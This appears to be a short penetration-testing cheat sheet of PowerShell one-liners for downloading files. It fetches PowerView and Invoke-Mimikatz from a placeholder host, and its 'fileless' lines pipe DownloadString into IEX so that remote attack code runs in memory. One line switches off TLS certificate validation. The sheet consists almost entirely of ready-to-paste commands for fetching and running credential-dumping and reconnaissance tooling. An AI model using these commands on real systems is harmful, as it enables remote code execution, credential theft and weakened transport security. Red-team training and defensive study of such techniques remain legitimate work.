PowerShell Download/Upload

DownloadFile

(New-Object Net.WebClient).DownloadFile('https://url.com/path/PowerSploit/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')

DownloadFileAsync

(New-Object Net.WebClient).DownloadFileAsync('https://url.com/path/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')

Fileless - DownloadString

IEX (New-Object Net.WebClient).DownloadString('https://url.com/path/Invoke-Mimikatz.ps1')

Or

(New-Object Net.WebClient).DownloadString('https://url.com/path/Invoke-Mimikatz.ps1') | IEX

Invoke-WebRequest

Only for version 3.0+

Invoke-WebRequest https://url.com/path/PowerView.ps1 -OutFile PowerView.ps1

Bypass Windows Explorer first-launch configuration bypass

Invoke-WebRequest https://url.com/path/PowerView.ps1 -OutFile PowerView.ps1 -UseBasicParsing

Bypass untrusted SSL/TLS certificate check

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Last updated